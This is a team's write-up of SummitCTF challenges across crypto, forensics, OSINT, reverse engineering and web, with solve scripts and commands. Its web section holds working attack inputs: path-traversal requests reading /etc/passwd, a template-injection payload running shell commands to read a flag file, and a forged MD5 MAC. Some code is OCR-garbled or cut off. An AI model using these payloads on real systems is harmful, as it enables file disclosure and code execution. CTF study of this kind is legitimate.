SummitCTF - 1c3Gh3tt0 - Writeups

Crypto

Et_Tu?

Crypto / Et_Tu?

ROT13

CeasarCipher?

Crypto / CeasarCipher?

Caesar Cipher

Et_Tu2?

Crypto / Et_Tu2?

https://gchq.github.io/CyberChef/#recipe=Caesar_Box _Cipher(7)&input=U3RNbXMxX3VDM18zcGxtVGRDcmg wbUYxNF8zbGl7dTNDcn0

Et_Tu3?

Crypto / Et_Tu3?

https://gchq.github.io/CyberChef/#recipe=Caesar_Box _Cipher(10)ROT13(true,true,false,13)&input=RmdBbWYx XyZ9t2hQMF8zYyEkt7d6R0dQZXVAQLe3elNfNF8zIyi3t 3Z7MzNQZSYjt7c

Base65?

```
1. import base65536
2.
3. ciphertext = "學眾回慶文相轉敹鎌桄散驤量晨恭"
4.
5. decoded = base65536.decode(ciphertext)
6.
7. try:
8. print("Decoded bytes:", decoded)
9. print("As UTF-8:", decoded.decode('utf-8'))
10. except Exception as e:
```

Can you hear?

Crypto / Can you hear?

- 1. open the wav file and extract the morse code
- 2. while decoding notice that it do not make sense
- 3. reverse the morse string and decode here:
 https://gchq.github.io/CyberChef/#recipe=Reverse('
 Character')From_Morse_Code('Space','Line%20feed')
 &input=Li4ulC4uLSAuLS4gLS0tlC0tLiAulC4uLi4gLS
 AuLS4gLS4gLiAuLi4ulC0uLiAtLS0gLS0uLSAuLSAtLi
 AuLS4t

LESS is more

Crypto / LESS is more

- solve script
- 2. all the signatures are the same except from ud8qx5kdg3

```
1. import os
 2. import base64
3. import numpy as np
5. def verify_signature(flag, signature, key_matrix):
6.
7.
        Verify if the signature matches the flag using the key matrix.
8.
        This is a placeholder for whatever quantum cryptographic verification
9.
        we're supposed to implement. Since the exact method isn't specified,
10.
        we'll use a simple checksum approach to find the outlier.
11.
12.
        # Convert flag to bytes if it's not already
        if isinstance(flag, str):
13.
14.
            flag = flag.encode()
15.
        # Simple checksum approach - in a real quantum system this would be different
16.
        checksum = sum(flag) % 10**24
17.
18.
        return str(checksum) == signature
19.
20. def process file(filepath):
21.
        with open(filepath, 'r') as f:
            content = f.read().splitlines()
22.
        flag_line = [1 for 1 in content if 1.startswith('Flag:')][0]
24.
        signature_line = [1 for 1 in content if 1.startswith('Signature:')][0]
25.
        key_matrix_line = [1 for 1 in content if 1.startswith('Key Matrix:')][0]
26.
27.
        flag = flag_line.split('Flag: ')[1].strip()
28.
        signature = signature_line.split('Signature: ')[1].strip()
29.
        key_matrix = eval(key_matrix_line.split('Key Matrix: ')[1].strip())
30.
```

```
31.
        # Try to decode the flag
32.
33.
            decoded flag = base64.b64decode(flag).decode('utf-8')
34.
35.
        except:
36.
            decoded_flag = "Invalid base64"
37.
38.
        # Verify the signature
39.
        is_valid = verify_signature(flag, signature, key_matrix)
40.
41.
42.
            'filename': os.path.basename(filepath),
43.
            'flag': flag,
            'decoded_flag': decoded_flag,
44.
            'signature': signature,
45.
            'key_matrix': key_matrix,
46.
47.
            'is_valid': is_valid
48.
        }
49.
50. def main():
        files_dir = 'files'
51.
        files = [os.path.join(files_dir, f) for f in os.listdir(files_dir) if
52.
os.path.isfile(os.path.join(files_dir, f))]
53.
54.
        results = []
55.
        for file in files:
            results.append(process_file(file))
56.
57.
58.
        # Find files with invalid signatures
59.
        invalid_files = [r for r in results if not r['is_valid']]
60.
61.
        if invalid_files:
            print(f"Found {len(invalid files)} file(s) with invalid signatures:")
62.
            for f in invalid_files:
63.
                print(f"\nFile: {f['filename']}")
print(f"Flag: {f['flag']}")
64.
65.
                print(f"Decoded Flag: {f['decoded_flag']}")
66.
                print(f"Signature: {f['signature']}")
67.
68.
                print(f"Key Matrix: {f['key_matrix'][:2]}... (truncated)")
69.
70.
            print("All files have valid signatures. Checking decoded flags instead...")
71.
            # If all signatures are valid, look for a flag with SummitCTF format
72.
            summit_flags = [r for r in results if
r['decoded_flag'].startswith('SummitCTF{')]
73.
            if summit_flags:
                print("\nFound file(s) with SummitCTF flag format:")
74.
75.
                for f in summit_flags:
                    print(f"\nFile: {f['filename']}")
76.
                     print(f"Flag: {f['flag']}")
77.
                    print(f"Decoded Flag: {f['decoded_flag']}")
78.
79.
            else:
80.
                print("No files with SummitCTF format found. All files appear
identical.")
81.
82. if __name__ == '__main__':
83.
        main()
84.
```

Forensics

Everyone always has something to say

```
Forensics / Everyone always has something to say

1. $ file CyberGuy.jpg

2. base 64
```

just listen

Forensics / just listen Solution: change to wav extension and use sonic visualizer

HideNSeek

```
forensics / HideNSeek

1. $ stegseek --wordlist
   /usr/share/wordlists/rockyou.txt
   challenge.jpg

2. $ steghide extract -sf challenge.jpg -p
   hottie
```

LSB?

```
1. open the image using stegsolve.jar
2. click on Analyze > Data extract > Select LSB first and R7
```

LSB? pt.2

Forensics / LSB? pt.2

- 1. open the image using stegsolve.jar
- 2. click on Analyze > Data extract > Select LSB first and RGB 7

Misc

Word1

Misc / Word1 search for flag, on open word

Website

Misc / website

open website and wait some time i think. i was just searching and suddenly it appeared on home screen

Word2

Misc / Word2 1. \$ unzip Word2.docx 2. \$ strings word/* | grep Summit

Word3

Misc / Word3 1. \$ unzip Word3.docx 2. \$ strings word/* | grep Summit

OSINT

One Bite

Dave Portnoy reviewed Benny Marzano's in Blacksburg, VA, and gave it a 7.1. (edited)

Where's This Hokie?

Osint / Where's This Hokie?

- search for Virginia Tech Hokie Bird statues on google
- 2. Find the hokie on this gallery: https://www.gobbledeart.org/collections/gallery? page=7
- 3. Search for more information about the hokie using the artist name:

 https://www.gobbledeart.org/collections/gallery/p
 - https://www.gobbledeart.org/collections/gallery/products/hyer-a-hokie
- 4. Find thia article, which mentions the exact building

 Smith Career Center:

 https://cnre.vt.edu/about/newsmagazine/articles/20

 1111/multi-talented-researcher-combines-art-andscience.html

3.14-lons

Osint / 3.14-lons

- search for the image and found this:
 https://commons.wikimedia.org/wiki/File:Virginiatec
 h-warmemorialchapel-rightpillars.JPG
- search for them on google maps and find the exact location > copy coordinates
- 3. go on what 3 words and try the 3 very close boxes and find: https://what3words.com/truly.result.hungry

Rev

What's up?

do you even rev bro?

```
1. # Define the encrypted data
 2. var_88 = 0x160a213c38382006
 3. var_80 = 0x3d0a3e313c2e1301
 4. var_{78} = b'e''n!e'n6e1f'
 6. # Convert the integers to bytes (little-endian)
 7. encrypted_bytes = (
        var_88.to_bytes(8, 'little') +
var_80.to_bytes(8, 'little') +
8.
 9.
10.
        var_78
11. )
12.
13. # XOR each byte with 0x55
14. decrypted_bytes = bytes([b ^ 0x55 for b in encrypted_bytes])
16. # Print the decrypted string
17. print(decrypted_bytes.decode('utf-8', errors='ignore') + '}')
```

Web

JS1

```
Web / JS1

https://summit-8a2c0581f83c-js1-0.chals.io/script.js
```

LFI1

```
Web / LFI1

https://summit-a1cb1c369d7f-lfi1-
O.chals.io/challenge.php?lang=../../../etc/passwd
```

LFI2

```
SummitCTF/LFI2

curl http://summit-88b4396226da-lfi2-
0.chals.io/?
language=...//...//...//etc/passwd -
L
```

Temps

```
Web / Temps

1. {% for x in
    config.__class_.__init_.__globals__['os'].
    listdir('/') %}{{x}} {% endfor %}

2. {{
    config.__class_.__init_.._globals__['os'].
    popen('cat /flag.txt').read() }}
```

JS2

```
Web / JS2

1. https://summit-8a2c0581f83c-js1-0.chals.io/script.js
2. https://deobfuscate.io/
3. search for flag
```

Fraudulent Signatures

```
SummitCTF / Fraudulent Signatures

Submiting to /sign with empty message returns a md5 hash of the secret itself

$ curl https://summit-summits-greetings.chals.io/sign?msg=

6e14814a64ae5a3c4c8f43fd3c814746

cracking it in https://crackstation.net/yields

fourt33n
```

using the function provided as insecure_md5_mac calculate the signature

```
#!/usr/bin/python3
import hashlib
import base64
key = 'fourt33n'.encode('utf-8')
message = 'getflag'.encode('utf-8')
def md5_hash(message):
        return hashlib.md5(key +
message).hexdigest()
print (md5_hash(message))
```

submit to the /verify endpoint after b64 encoding 'getflag'

```
$ curl 'https://summit-summits-
greetings.chals.io/verify?
msg=Z2V0ZmxhZw==&sig=4d976a5647ae1ee631f4d6dd
577f1483' -L
```

the relative path of the flag is shown in the page source

```
/static/images/mzoellner_flag_1212121.png
```